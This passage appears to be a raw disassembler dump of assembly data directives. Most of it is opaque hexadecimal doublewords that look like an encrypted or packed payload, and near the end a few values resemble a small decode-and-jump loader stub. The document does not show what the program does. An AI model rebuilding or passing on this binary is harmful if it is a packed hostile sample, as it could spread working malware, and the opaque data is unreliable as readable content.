0A4C938Ch, 2B47DB30h dd 83A59FE2h, 4E68E807h, 205FC124h, 44F9C2Bh, 1759h, 0C03C0855h dd 108CB0A7h, 0A35F61F7h, 0EF2B0D44h, 38F4CE90h, 0C9910ACDh dd 7EDC3BF7h, 2A2F4844h, 0FB7D9A16h, 0D47B21DDh, 0DAAA26C8h dd 5DD5B92h, 74521271h, 0FF028B97h, 0C5886345h, 0C0802A36h dd 0F16994EBh, 0E572ECCFh, 0EBC055D7h, 0F7362894h, 6EF9F646h dd 0AF91C4C3h, 0E73F527Eh, 0C8568AC6h, 0B34EC8CCh, 5C8BE858h dd 0C68D9530h, 69A6B88Ah, 1008E37Bh, 0B878C8F2h, 0D7009CA6h dd 4E9DA7B8h, 4A56F930h, 0F86D36DBh, 0AE9F6CF2h, 3BC6115Eh dd 0E717FE5Ch, 0B8BCC7C7h, 0ECE42541h, 0E65A742Bh, 0E17C135Eh dd 0D643277Ah, 0F66E2DBAh, 0B9BBD4D0h, 0AFFA159Fh, 10C3DDAFh dd 169C39h, 794B1000h, 0C9FF62BDh, 98AEB2CDh, 6440031Ch dd 310B4FA8h, 4CC988F5h, 9BF4300Ah, 0EA0581C3h, 38575375h dd 38E21E38h, 0AB6B0513h, 1A1E92DAh, 0E1C78146h, 0EB3E53h dd 69E03344h, 165Dh, 0FC380C51h, 0C88BCA3h, 5F5B6DF3h dd 0EB270140h, 34F0CA8Ch, 0D58D16C9h, 82D837F3h, 362B4440h dd 0FF799612h, 0D07FDDD9h, 0DAAB2AC4h, 1D95F92h, 0B1A7E271h dd 0C02FC18Fh, 3C2294EBh, 0E6C5FF63h, 164E5158h, 0C18A730h dd 94EBC062h, 0F3820B17h, 52FDF242h, 9BCE2737h, 50A171E9h dd 0FD9D6E8Ah, 0F2F7050Ch, 8D8AC608h, 4B39118Dh, 0D6016EDEh dd 13C20BCAh, 0E31C0273h, 0EE14B5F5h, 155AAAC2h, 8777BECAh dd 97F2DDC7h, 7231F8DCh, 0C8D463ECh, 0C43D8726h, 0F668C75Bh dd 0AA63FFCCh, 0D51A6ADBh, 0A1A0FF8Ah, 931A2487h, 0C1B1AFDh dd 6FF229DAh, 0F7923D59h, 0CDD8987Dh, 4C030DBFh, 42DE40DEh dd 0CB8DEA26h, 283C47EDh, 0EDDF959h, 158C47h, 93B2000h dd 0D9EF728Dh, 0A89EC2DDh, 7450136Ch, 0C1FB5FB8h, 5CF9B8C5h dd 0ABC4C0FAh, 0FA1591B3h, 48A76365h, 28F22E08h, 0AC7BF503h dd 0A0E92DAh, 0C07EF036h, 207F94EBh, 9870620h, 94EBD07Bh dd 14206DFBh, 205FED6Bh, 0B6AE6B14h, 0B236290h, 3DEE4401h dd 15342Ah, 0E1E37800h, 0B197CA25h, 461A75h, 0CCE86B84h dd 99A3B7D0h, 0B421101Dh, 31C98A2h, 52AD695Bh, 0A0FF3B0Dh dd 500A86A0h, 0AC03ADBBh, 0F27692DAh, 0D21F6FDEh, 0F3C67785h dd 81998AC6h, 2C183C73h, 2F26F54Ah, 14EDh, 6CA89CC1h, 0BC784C13h dd 0CFCBFD63h, 1B97B1B0h, 0A4605AFCh, 65FD6659h, 1248A763h dd 0C69BF430h, 6FE90682h, 608F4D49h, 0DAADDA54h, 91A9AF92h dd 2322C781h, 0DA98FC6h, 0CDDB66F1h, 94EBC023h, 32C1C856h dd 0A0B1901Fh, 0E1245C8Fh, 0B99FD928h, 764A0F52h, 290F4695h dd 4D31C8C2h, 0EADE679Ah, 0C6F44934h, 70BBA1BEh, 94541EB9h dd 28087D97h, 41000000h, 0C12A1C42h, 0F04A70B9h, 94EBC062h dd 3BF7D193h, 375B9EADh, 9625B295h, 4FBAE08Ah, 485956Bh dd 1453DE71h, 81B80000h, 590AE1C7h, 2B0D47E9h, 0B522BEC0h dd 0C6EF36A7h, 0D5D1498Ah, 408FE454h, 0BD83D6B5h, 444563E2h dd 120B914Ch, 2F3DC873h, 6742139Dh, 0F7D4EE6Ch, 1F8E906Bh dd 7E89519Ch, 78CBA2C1h, 0B986C56Fh, 0DF7B68E2h, 95ABB10Ch dd 98E28F19h, 4A116742h, 49A2A2B9h, 3D596FF2h, 98E48692h dd 81996742h, 0B99FFA65h, 931A2487h, 0FD65202Fh, 0AF5EE0CBh dd 0D03B0D50h, 53B1E7Dh, 0E1198A6h, 4796754Bh, 0D1842A1Eh dd 0C2AC33EFh, 7A714031h, 2C4h, 0BA3440EFh, 0CF674294h dd 713C5A53h, 0B4755312h, 0DAED3383h, 0C763E850h, 22B11EBAh dd 0EB7E9416h, 0B871E994h, 6DBA8B99h, 4DCD8AC6h, 0CB3C237Eh dd 0C25CAF89h, 55A39A6h, 0F956E8C3h, 0F08E5D63h, 372A4539h dd 8816BA11h, 796D3E61h, 0B00FDCE0h, 717A47AEh dd 6160D448h, 360FE6C5h, 1F549F52h, 208772Bh, 33164878h dd 0ACB3CE3Fh, 9DED1C98h, 1D780750h, 9870646h, 73137BB0h dd 257853CFh, 708F0B3Dh, 7F4117EEh, 957692ACh, 4162AB37h dd 9569C267h, 0BB774911h, 0A22D42B2h, 0D68A73E7h, 0BA5554F0h dd 0D8EA702Fh, 12BE6FF3h, 796C57D7h, 0C8B7203Eh, 0B0A31505h dd 19EC1D12h, 68A482C2h, 9873550Fh, 94F2BA34h, 9A6EC779h dd 92B2A9E4h, 6A4C041Bh, 0A8426EFDh, 417994F2h, 0B4CA2107h dd 6CD2DB47h, 93784C13h, 0A837094Ch, 0E0C67E1Dh, 0C769770Bh dd 0BA7994F2h, 479665A4h, 0D1842A1Eh, 0C2AC33EFh, 7A6B160Bh dd 123h, 0D3027164h, 44339168h, 690C290Fh, 831FB5FEh, 5963F70Ah dd 9DC0DF72h, 3B1F62ABh, 8F842632h, 61F994EBh, 5BFF9AC5h dd 3C378A61h, 7E0DFC18h, 175202Fh, 0B4C6C10Fh, 72FC0857h dd 794EB0Ch, 9569921Bh, 49444911h, 88222C10h, 0FD94EB0Ch dd 0B96C15Dh, 0EB0C73FDh, 1D2B0694h, 94EB0C93h, 2DDC78E6h dd 0AA046E71h, 37C27D97h, 0EB048729h, 0A564FA94h, 0AAD0h dd 0C781F200h, 0BDB70AE1h, 6AE1309Bh, 0B6152F2Fh, 4F861A8h dd 82FA535Eh, 0E3714550h, 0EBD05BD5h, 94302E94h, 5F4A0A15h dd 0EBD0BF31h, 60145E94h, 4869B9AEh, 17292C73h, 0F20EAAB4h dd 78C5A136h, 64797D97h, 65000000h, 0CC830271h, 0A36EBAC1h dd 0EF1B61D4h, 0ED1C49EFh, 78E70C7Ch, 0C64E8D6Ch, 0DA9DC08Ah dd 47856682h, 6D3E50B9h, 0F4001548h, 6D3E507Ah, 14F7130Fh dd 5CAF91C9h, 25062511h, 37DEAB6Dh, 73A74A3Eh, 96D0FEC2h dd 34776C03h, 0A19DFAA9h, 0F2372167h, 3EAF4AE4h, 0EA233F6Dh dd 9B1Dh, 1D573200h, 6FD4F23Bh, 7785D21Fh, 8AC6DE72h, 63BE0D0Dh dd 43EDFBFCh, 366D3F3Eh, 0F7108C28h, 84F35C60h, 23DA0B94h dd 48DBD289h, 8D5E6EF5h, 61453922h, 0FE9DCAFAh, 0F48A6147h dd 1C564935h, 0C0776B8Dh, 4Eh, 0D6236F02h, 0A0550A89h dd 0BDB7D0B9h, 218A2670h, 0D2619019h, 94B73947h, 97CA94EBh dd 102EFDC7h, 719B35F4h, 8414EB94h, 0D9B319Ah, 5114EB8Bh dd 6F012FBAh, 0E214EB93h, 0B0948D7Ch, 1C4BA814h, 0EB921EF0h dd 0F32F3394h, 760h, 3D755600h, 6D000000h, 6E5DB81h, 64A0A4BBh dd 9B70540Bh, 8BD35FAAh, 83CE1DB9h, 0A1685204h, 0EBC0802Fh dd 0DBED7394h, 90B4ADF0h, 7FB703Bh, 218ABEA3h, 1819FD19h dd 0D97CF624h, 95207D96h, 0A200000Bh, 0F4D7246Fh, 468CCFD8h dd 3F6A850Eh, 0FF99A0D9h, 0B791D309h, 9569921Bh, 0EB9EFD69h dd 47A1F3h, 6F2D0000h, 4B0B0424h, 0FB1A2259h, 0D665F05Fh dd 0EB9520CAh, 0C4C55594h, 0EB9522CCh, 0E0CB5794h, 1F46E0ECh dd 694F092Eh, 27193F82h, 7448EDC4h, 241819FDh, 23607CF6h dd 22920D4h, 9A290000h, 674BFC8Eh, 8991C2h, 4C12717Ah dd 0BE89917Ah, 0C1042546h, 0BCAD5C75h, 0C6B52251h, 59131451h dd 6F6BA2AFh, 0C781DF03h, 1B236132h, 9D390CDCh, 0D6E271B9h dd 94EBC054h, 2398ACB5h, 8F13CE3Fh, 96D57DF9h, 31017Ch dd 6FCD0000h, 7103D724h, 0EBC0D663h, 0BDA1B994h, 12716971h dd 0C0EC7B4Dh, 94EBC02Eh, 0B3CE3F23h, 129CA8ADh, 6794EBC0h dd 4F7B5FFBh, 1B758Bh, 6F6D0000h, 7103D724h, 0B27B4D12h dd 0C0E0719Fh, 0A6A294EBh, 816971B2h, 4FF1E5DBh, 0AAB2F08Bh dd 1F43F9ACh, 0D68EE925h, 0A4BA15F0h, 68E847A2h, 261E7D4Eh dd 44F9AB00h, 3CCEDA80h, 513FD569h, 0BF30ADC9h, 4B6DE7CBh dd 1137314Ch, 0CA9792B4h, 558B395h, 550F685Ch, 7AF39873h dd 83A2086h, 4A039FA3h, 0BFB9EDD1h, 41031E99h, 2B2F8A67h dd 22FD7722h, 2388BCA5h, 4649501Fh, 0F37D8BD4h, 863FD5C1h dd 0D27F1198h, 0BD3FD5C1h, 9C0B409Dh, 0C149E3F1h, 0BAA03FD5h dd 0FE2F3388h, 4EDD8145h, 0D5C18822h, 0F25DFD3Fh, 0D5C144E6h dd 0E821393Fh, 0B62ADF99h, 396694D4h, 89E423BFh, 0E1CEFD1h dd 0E2A65F3Ch, 74B08ACCh, 0D07F591Bh, 3398ACB5h, 77546EECh dd 0C15E4FEBh, 0ED7CF066h, 803FD5F1h, 0DB50439Eh, 0A781C3E7h dd 0A69EFD68h, 96172B80h, 12EFC98Bh, 2C164847h, 0F84A43DFh dd 9FD74BAh, 0A85A3A5h, 765375EFh, 0D27D471Bh, 0F1B73947h dd 54CA3FD5h, 1293C855h, 0DEF8782Eh, 7B4D1271h, 81CBCFB2h dd 3FDE1C7h, 0D6236FDFh, 0F9B92102h, 7C96D57Dh, 5501h dd 0E271CD00h, 0EBC054D6h, 0F8312994h, 0CECDFB47h, 0C555B688h dd 0EBC0911Bh, 0DE7AE494h, 4F1271FAh, 7381B079h, 94EBC0E6h dd 71CD9189h, 917A4C12h, 0E9F10089h, 0F6EADA81h, 0F2B7E271h dd 410650EDh, 0B83FB19Fh, 0CC5294EBh, 714E0CDDh, 8F7E4812h dd 1684h, 236F7200h, 637102D6h, 94EBC0D6h, 71A0B494h, 0EADA8169h dd 0F08B4FF6h, 94EBEF57h, 0FD7A3EA5h, 7118FFFFh, 92794F12h dd 0E5731D8Ch, 0FA94EBC0h, 4BA4608Fh, 19A43315h, 0C0CC7E8Ah dd 998194EBh, 0EBC03DCFh, 0DFCE5094h, 2C92014Ch, 0DCC9167Bh dd 0D0630D1Bh, 81694EBh, 19933DECh, 5D94EBD0h, 8ACEE4D8h dd 381F78B4h, 35818804h, 0B8FDD338h, 0E8D731BDh, 1D497549h dd 0C13B409Ah, 234h, 43EDFB86h, 36294274h, 71E5E128h, 0A7BB4E12h dd 94304E9Dh, 0EEE22B37h, 94EBC043h, 2701435Eh, 0E80575E6h dd 0D6F4517Fh, 879B8AC6h, 5668EC0Bh, 0D332675h, 0A88CC7C2h dd 84F9261h, 1D78D734h, 97AB0044h, 36B23C48h, 5BC76D3Fh dd 1C51A152h, 157924B3h, 852735DCh, 0F86D3FC7h, 8AB81966h dd 5205059h, 487312D0h, 0D775ACD6h, 0BD85057h, 0D6840h dd 2D174400h, 0FDC396F1h, 4C72E601h, 183C3750h, 0E5DF839Ch dd 801DDC29h, 0CF28E4DEh, 1E79B58Fh, 6C8B0739h, 4D6D2F4h dd 0B457D9E7h, 2E2A92DAh, 22C7810Ah, 7962DA3Fh, 7B5312C0h dd 0A9B10CDFh, 70DF7B97h, 0AE55D7E5h, 0A3B494EBh, 0CF2C3299h dd 9ACB5A53h, 8E9AC52Ah, 8ADCD441h, 0D2CDA1ECh, 1A8379ADh dd 2E3251FEh, 0DD839C18h, 0BBBD00EBh, 74034E9Dh, 24BFC668h dd 66A7BB6Dh, 0FF6885F5h, 99A50D1h, 0C8F03F73h, 71B886E9h dd 94B73D59h, 25505CC0h, 0CCF5FF6h, 7EDF0000h, 2A314E4Ah dd 0DB819E1Ah, 97CE29E5h, 441A75B1h, 847B8602h, 817D471Bh dd 0D6D2F466h, 609CA0B9h, 0AF6B4D07h, 0B8325EEDh, 0CD92DAB5h dd 0C7817357h, 0B8470AE1h, 0EBC002ACh, 630D1B94h, 1694EBC0h dd 7EAFB308h, 0E7707DCDh, 0C6E778D9h, 8F0B178Ah, 0D7E5F070h dd 6D3F2755h, 1E9A3628h, 5529FEFh, 85DD3F7h, 63EC7273h dd 94CC3124h, 789716B2h, 7B34BEEDh, 110C004Eh, 0EDD38998h dd 0BC82D631h, 0A550106Fh, 2C38477Ah, 67487D82h, 0D51C6BF7h dd 4F9C3859h, 0EAC28500h, 8C3E4A01h, 0C16748D3h, 5BCC3D59h dd 4B5986EBh, 7965F6AEh, 4F45DECDh, 465FD1FFh, 2C32799Ch dd 0F321643h, 0F1031F9Eh, 56891EDCh, 283CA19h, 0AA00000Ch dd 0FC1B97B1h, 4CAB6759h, 9DFA3608h, 0E90682DAh, 26534F71h dd 4E70E673h, 1F293552h, 0E9D384E3h, 0B492D22Dh, 7F8DA278h dd 92DAB6CDh, 81AC8480h, 590AE1C7h, 4D5B84E9h, 8AC6F434h dd 1D88D74Bh, 4EC4D8E6h, 0FEC8E414h, 774BC6A6h, 136CD2DBh dd 63BC784Ch, 0CBCFCBFDh, 794F1271h, 0EC1D8C92h, 0FC08579Ch dd 8AC6E3B5h, 8A0956C8h, 5B69F6D0h, 6D3F22D1h, 0A073BAA4h dd 78F21EADh, 0D6D3F22h, 66F49C0Dh, 2C6D3F22h, 69053115h dd 1D776BBBh, 7Fh dd 29DA81B9h, 9DBD0E2Eh, 0AC118ED2h, 4AE6BE1Fh, 1471A61h dd 381C57AAh, 0F7C98CD3h, 0ADC2323Bh, 0BEC6722h, 0DAD36F49h dd 0C8A42937h, 47DB8AC6h, 2BDF223Dh, 0B1984B4Ah, 0B31h dd 28E4E07Dh, 78B488CFh, 8B07391Fh, 0D7D3F56Ch, 609CA6B8h dd 0A1B92215h, 5604639Fh, 257B06Ch, 0A3A5C23Eh, 0BC530985h dd 0DAB61E90h, 0DDF57392h, 2EEADA81h, 6A25h, 0B5EB9600h dd 7B158D07h, 716367A6h, 0FCF19E02h, 1262F76Ch, 2A5CD004h dd 257CADC9h, 0B0BD0E3Eh, 19A43340h, 29E0E67Ah, 0C6C48EA7h dd 2B59C18Ah, 4A2BE416h, 0BE91B86Bh, 0EE00000Ah, 405F5B6Dh dd 90EF2B1Dh, 0E13EFACCh, 2D4A4666h, 6A971335h, 12342AB7h dd 0E3E57996h, 0AD97C827h, 785E1671h, 2331DEBCh, 92DAB789h dd 816078FCh, 470AE1C7h, 0A8EBA258h, 71B8AADDh, 0BB10362Eh dd 154105BEh, 7D96F259h, 0BE471877h, 344AA187h, 7B841198h dd 46000002h, 0ADB7E271h, 0FB4085ABh, 0E56D1FC9h, 7EE094EBh dd 67F2BF8Fh, 9F0E2828h, 86D11E6Eh, 27F6071Bh, 485D8F8h dd 9D66FF0Dh, 42E98AC6h, 3F1CB436h, 3551C96Dh, 0A4FDEEFAh dd 92E261A7h, 0E1BDAB8Eh, 39E308DFh, 8695E27Bh, 0EC7B97EAh dd 0FBC5B1C0h, 1542DC8Ch, 9E2E476h, 50DAE671h, 2594F9D8h dd 3421F435h, 0C79E7CC4h, 54A21E54h, 1FB07492h, 0FE1AB697h dd 0BBF92251h, 0F87A1273h, 0F78B6062h, 10BF525Bh, 4418ED75h dd 7505E602h, 3FFB1CB4h, 100E8AC8h, 0AE88C8C7h, 0A7057221h dd 0F74064DFh, 9E0F47F6h, 0AB8DC720h, 1DE85219h, 0C980534Ah dd 9B1h, 0A86460FDh, 0F834084Fh, 0B87B99Fh, 575375ECh dd 0E01C2638h, 2139A295h, 0D684E31Fh, 82D730ECh, 232542BEh dd 3CD38905h, 0DAB89E10h, 5D75F392h, 7DEADA81h, 8801271Eh dd 0FBF848F5h, 0BA4A406Ch, 0DB478ADCh, 7B4D118Ch, 0C8FA60BFh dd 0ED0272E3h, 0CE013762h, 0EC5B6E41h, 25A92EC0h, 0A33F236Dh dd 48D9E76Ah, 27730897h, 6AF1AC3Bh, 2982C299h, 816F511h dd 4B138E81h, 878C3E4Ah, 59C16748h, 0B4A6C13Dh, 62E23992h dd 9255DC97h, 7A96DF87h, 5DD30DC8h, 60EB3850h, 915h, 480C499h dd 545074EBh, 0E723253Bh, 33EFC988h, 7CB882D4h, 8DD54E31h dd 3A207FBBh, 0EE738C08h, 87C1DEDAh, 98B765A1h, 0DAB9E28Ch dd 0B9919792h, 54D6E271h, 2994EBC0h, 5C4AF831h, 94EBC0DAh dd 75A3679Eh, 0D07F74C4h, 0C6FE35C4h, 99C6588Ah, 0F1CB8F0Ah dd 8729371Ah, 0FA6D3F1Eh, 0BEC1C864h, 0E168A49Ah, 94F35C91h dd 22243AC3h, 0B615B1C9h, 0C2EE61A8h, 730DD105h, 0CAC91608h dd 0E4F09F8Ah, 674CED4Ah, 0BB35233Fh, 0CE674CEDh, 0ECAB3450h dd 0E6785375h, 241C7B27h, 0BF0FF002h, 0F5265059h, 87052h dd 251F3C00h, 0F5CB8EE9h, 447ADE39h, 10342F48h, 0DDE77B94h dd 78E5D421h, 0C720DCE6h, 1671AD97h, 64837F41h, 0CCECAECh dd 0B95FD1FFh, 363292DAh, 0C062F012h, 0D19394EBh, 312D68F7h dd 63AAB417h, 313E8EBFh, 0DB6C1BA6h, 0FAB7F9FAh, 0AD35D6Bh dd 0B8A694EBh, 0F6E3ED1Ch, 998AC658h, 263B5681h, 0EA79E622h dd 3EBB2CDEh, 0F039216Dh, 99A7A8B1h, 6D3EBB17h, 0BB70FA06h dd 15056D3Eh, 0CF1CB8A6h, 7EC84h, 0E2717200h, 0EBC054D6h dd 98ACB594h, 52CC2F33h, 265AAA5Bh, 0EBC0901Ah, 0D975E594h dd 0D6E3628Eh, 0F46A8AC6h, 362BB917h, 0C6616D3Fh, 0D0AF89CBh dd 0CB74B58Fh, 0CF9FCBF7h, 5E3D776Bh, 59E1CAFCh, 109DB50h dd 81070000h, 4807E4D8h, 1A8B305Dh, 92C6D0ECh, 0A7C35FACh dd 40822C38h, 6BF794EBh, 0C5FF5FA2h, 0FFD99BE6h, 0B488D12Ch dd 63A1F78h, 294EB8A5h, 40C092BEh, 352594EBh, 5074EFAAh dd 5726E77Bh, 0E6CCB0A5h, 0C4534F71h, 116959D9h, 23EAA641h dd 6A417BDCh, 92B4A8E7h, 0E8E82139h, 94EB8052h, 8F23E71Eh dd 2D3AF6CAh, 0D0201A7Eh, 5950CDC5h, 0CE195EA8h, 0EB4700A2h dd 0F6D54594h, 96A2B3ABh, 94EB4714h, 0EAC62269h, 5598E884h dd 6619D39h, 42997254h, 0D5C72402h, 4565C20h, 0B5A9C6C2h dd 801A94A0h, 0F36F94EBh, 47CC2984h, 0F511FC2Ch, 98D52516h dd 0D7C214Fh, 4C938AC6h, 41D93214h, 0CC8EE925h, 0DA2411FAh dd 0E8A7329Dh, 0E27C4F69h, 110FA52Bh, 0DC426D3Eh, 297F0473h dd 0B3E6E2D5h, 44F9AB7Ah, 0B4AFDA80h, 0C5C08AAFh, 0D515059h dd 0BAA0FF3Bh, 0C2322388h, 971622ADh, 0EE73134Fh, 35BB470h dd 0B5AAC5C1h, 6F831793h, 7785D21Fh, 8AC6EFC6h, 272A8199h dd 2FE28C98h, 8B976D3Fh, 0B758FF02h, 35C6B568h, 95A32C58h dd 6D3F511Bh, 5854F06Eh, 15236F44h, 92AC7F49h, 0AABAE976h dd 0D96598D5h, 0C78A1990h, 7FAE88C8h, 0EBD3C351h, 94688994h dd 0FA9FA3EEh, 8144ABFh, 69D6193Fh, 0DFB87657h, 0D565467Ah dd 27B9B5D4h, 296D7D97h, 69000000h, 1EADA81h, 0EBC021CBh dd 0AE88C894h, 645AFE5Dh, 9C609587h, 5A2ED7D5h, 0C33F0154h dd 0EBFB9BD5h, 9A22B194h, 14FFFFFFh, 0FDE1C781h, 271D50Dh dd 0B27A8820h, 0F96AA3B4h, 68F7608Dh, 0EBE8D25Ch, 0E478A794h dd 434746E2h, 9C463522h, 39737663h, 0FE511D59h, 0E74A56B1h dd 271A026h, 53EA8FD0h, 6C6BA2B1h, 7C970212h, 34AAh, 0F9F0BF00h dd 0DE5AD7CCh, 1781FEE8h, 0EA263328h, 236FA723h, 127102D6h dd 0A2A6BB4Eh, 7C888706h, 94EBC0F2h, 71C79B87h, 0EADA8169h dd 758B4FF6h, 2Fh, 0D6236F6Dh, 52127102h, 0F9AB574h, 3335D090h dd 8030F915h, 94EBC0EEh, 0FACC900Fh, 892E5D33h, 5694CB26h dd 715105A1h, 0EADA8169h, 818B4FF6h, 0CA06E5DBh, 94EBC020h dd 59B292C9h, 86654302h, 79B6F96h, 4B1D6C55h, 8208A47Eh dd 5D03A79Bh, 4351FC6Bh, 94EBE7A9h, 974B42DCh, 0EBF7F209h dd 318DD694h, 75FFFFF4h, 2EEADA81h, 35A2CF3Fh, 0C6D69A27h dd 7B6F58Ah, 39D065AAh, 0C20EDD79h, 6D3FA534h, 0D703C77Eh dd 776B429Bh, 0C43h, 12718F00h, 9EB57452h, 1, 0D21F6F78h dd 0D99BF685h, 9B122CFFh, 0C6E448F5h, 0D4031F8Ah, 6D9CA0B9h dd 281C439Eh, 249FE2ECh, 0EF9A6D3Fh, 0A2768E58h, 2F72BB9Eh dd 7D9A162Ah, 440BE0E4h, 0D03A9A59h, 0B1787A8Dh, 0EE577FA1h dd 0F9C3941Ah, 0FC77123Dh, 0FC126FD8h, 70D7E530h, 0C8EE66B9h dd 6B5D009Fh, 0C282DDA2h, 0D34C09E4h, 9FB9BBEFh, 0DF96F560h dd 9D0C12F9h, 0D56DF9F9h, 0FA117D16h, 0BD000000h, 0CD0256Fh dd 784E1271h, 0E7729EB1h, 0A394EBC0h, 6971B3A7h, 81709F67h dd 0C72222C7h, 3D5DAE92h, 802A36A1h, 0F594EBC0h, 0D15C965h dd 0A1FB535Eh, 0BCA69F7Bh, 236F494Dh, 0BE2202D6h, 96D57DF9h dd 65017Ch, 5B460000h, 7483C5A3h, 0A228E1EBh, 4C15236Fh dd 4D8AF5ABh, 8F2BDB2Ah, 0D286223Ch, 7E481271h, 0FA74808Fh dd 0E394EBC0h, 0F3D88DB4h, 8BEC5B6Dh, 90139A16h, 0A6B2418Eh dd 94EBED04h, 0A228E179h, 0B1A7E271h, 81781E8Fh, 4FF6EADAh dd 0C5677500h, 0B894EBC0h, 716367A6h, 0B37A4C12h, 4E98h dd 0DE96F500h, 719531F8h, 0C054D6E2h, 312994EBh, 0FEFB47F8h dd 0C96371DAh, 9194EBC0h, 0F2D9EF72h, 710CD06Ch, 52127169h dd 0AC8B9774h, 0A1594AEh, 716D7157h, 3E4A4F12h, 94EBC08Ch dd 923D59C1h, 0EBC0E486h, 8819994h, 61FD9837h, 7520A667h dd 0FFFFFEFDh, 0E1C7816Dh, 9BBDB70Ah, 519EEE1Fh, 0DE67FA06h dd 0E33E8AC6h, 0C06A767Fh, 0B56D3F3Eh dd 9CA209A5h, 3E8B2533h, 60FE6D3Fh, 5BE9E7C4h, 116D3F3Eh dd 84EE1CE0h, 38776BDBh, 4Eh, 0DAEC7211h, 1F6FB7D3h, 271685D2h dd 2E9A05D9h, 416FE22Bh, 8AC6AC28h, 33154C4Bh, 0A44746D8h dd 0ED7B51BAh, 1C6D3EF0h, 59A40739h, 26EC3F01h, 60B43B0Fh dd 0BA49EDD1h, 3EF01CAEh, 526AED6Dh, 9138F169h, 776C09D5h dd 10A89h, 0C7815500h, 0A00B3D22h, 0EE3D1B5Dh, 65B3450h dd 0F645A6C2h, 2E8D5E60h, 0C8C71036h, 0C159B294h, 6EE635C8h dd 60424C48h, 0F994EBDCh, 425D597Fh, 2CBB2402h, 143C6E00h dd 0CF618F6Bh, 826B143Bh, 40005F9Ch, 30C3CA66h, 0DC706E1Dh dd 16348752h, 0D9166697h, 1C5F628Eh, 0EB367539h, 0F5314D77h dd 222B2F6Ah, 3F9C9416h, 0D571E96Dh, 0B0A168F6h, 19A43340h dd 3F9C610Bh, 2D0A146Dh, 759C0D2Bh, 0D5CBD67h, 67E1BC73h dd 0B5A54841h, 51C77F2Ah, 7324E287h, 9D0897BAh, 68304032h dd 0ED34F536h, 0C8575375h, 7CAD8BCDh, 92C83D25h, 718A7963h dd 3A5617C5h, 87D149Eh, 9340505Ah, 240B8h, 0D5EF6C00h dd 0A59BBED9h, 744A0E69h, 0C0E45FB8h, 8DB7ABC4h, 0A835E411h dd 0F7108CB6h, 46A15D67h, 94F32F11h, 5C3EFADCh, 0BF0FA1CFh dd 0C64292DAh, 0E7D981E2h, 7CD20D78h, 4DABE0B0h, 8774F602h dd 110994EBh, 8BCD2A98h, 6F6D71ADh, 44F6011Fh, 2289B3A4h dd 7AA3531Ch, 7D8BD470h, 8AC66074h, 0D372867h, 97C7A0BEh dd 0C9C05EADh, 78D7342Ah, 0B9D9E90Dh, 0CD3C69A3h, 3E5B35C3h dd 2C67F6Dh, 2606415Ch, 5574B5C5h, 776C7519h, 0B8CDh, 0EB178200h dd 7CA1C306h, 0A7E18B99h, 8A946D3Eh, 811BBF6Eh, 42222C7h dd 0D07F9BA7h, 129BADB5h, 201A3C83h, 541984CBh, 86CC7E13h dd 7A3C5455h, 0E394EBA2h, 89B3A4h, 0A5614701h, 0DF2C0A4Ah dd 86D11E6Eh, 0C6F6677Ah, 0E4203E8Ah, 471B1565h, 0A3C227Dh dd 425361EEh, 25730C42h, 6BEFAA35h, 243A5551h, 96D0BCF1h dd 0D470D0A1h, 5937CDAEh, 0E46FBC50h, 139h, 20DCE875h dd 70AC90C7h, 837F4117h, 0CFCBED64h, 1894AEB0h, 0A9B12AEDh dd 5EFC1B97h, 0A4FA864h, 0DB9DFA36h, 0B45B01FDh, 0DA4006A8h dd 0E5FD7B92h, 0BB4E1271h, 89009CB8h, 22DEE076h, 69A583C5h dd 0D6E27175h, 94EBC054h, 0A9F83129h, 0DF2289AFh, 0C6474365h dd 0C2EE7976h, 8AC6FE37h, 897C05Eh, 1BF0D48Dh, 0F97B8607h dd 910570DFh, 2469D1C7h, 0E807FB32h, 0F07D4E68h, 0B9E47380h dd 231DA52Dh, 32DDCC2Ch, 8DA7826h, 7F859573h, 505DEFA6h dd 0A2B99043h, 0A000000h, 5CBB7751h, 0ACCBC7F9h, 0FD1A96A8h dd 49A6627Ah, 86F32F11h, 2E1046D3h, 0FFC995F2h, 4973E403h dd 1432324Dh, 1F2DC298h, 92DA416Dh, 6F4C64E0h, 0F685D21Fh dd 2A81C39Bh, 1F393B14h, 557BB2CCh, 8ADCBB23h, 0ACF3D846h dd 91692B4h, 2D32D78Ah, 122CFF1Bh, 0EACC849Bh, 0FE3ECB01h dd 0C27BE28Bh, 8EA8A8FEh, 5573F512h, 0C282B76h, 7448CDBFh dd 0B720063Eh, 8A99BCC8h, 8706F177h, 93A14CDBh, 17CE4B19h dd 0E43BF26Ch, 7E1D4A6Ch, 740AE1C7h, 0A6FE6B5h, 4B000000h dd 7A4C1271h, 0DE008991h, 0E8DC81FAh, 0A284BC03h, 5B6DF249h dd 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h, 744A0E6Dh dd 33154897h, 895708D8h, 0A7BB53E7h, 816A514Fh, 281527C3h dd 0CAF3814Dh, 1B77964h, 0EF835BDFh, 243C8704h, 64B8685Ch dd 3C890000h, 601F6824h, 2C890000h, 4B685524h, 8B07F177h dd 0C481242Ch, 4, 43C5F581h, 0E5C17A20h, 86F58108h, 89D705E9h dd 0EC685DEFh, 8900006Dh, 4832424h, 815D0424h, 4ECh, 243C8900h dd 0FF08458Fh, 835D2434h, 34FF04C4h, 0C4835F24h, 0FCEAE904h dd 0D9B7FFF9h, 0DF09EA93h, 0B8EE56AFh, 6318252h, 0C650C503h dd 2B332D85h, 25684706h, 0FFCF3817h, 2B0B1DB5h, 25858D06h dd 0FF062B3Ch, 8DD88BD0h, 2B220185h, 4685006h, 0FF000001h dd 2D85C6D3h, 53062B33h, 7F8BF68h, 1DB5FF83h, 8D062B0Bh dd 2B3C2585h, 89D0FF06h, 31656085h, 8DBD8306h, 62B32h dd 0B840Fh, 9D8B0000h, 62B2A05h, 5E9h, 0BB00h, 680000h dd 8D000001h, 316564B5h, 0FF535606h, 2B1F6195h, 64B58D06h dd 3063165h, 1E9F0h, 804E0000h, 840F5C3Eh, 9, 0F2F3E80h dd 0FFFFED85h, 6C6FFh, 6564858Dh, 0FF500631h, 31656095h dd 0E0FF5806h, 1E37B5CEh, 144442A1h, 0C39027Eh, 4428A79h dd 3E829B9Fh, 33E6D066h, 7AA5DB70h, 1FA02CA5h, 7529BAB2h dd 1DB19F90h, 13AEC42Dh, 429C363h, 1740E96Bh, 78FB0E94h dd 21FFEB9Eh, 79F67221h, 679A609Ch, 6ECB1499h, 25C5A1h dd 4C58ABD7h, 9F02678h, 84B28D8Dh, 9D890631h, 62B3431h dd 0EE18D89h, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 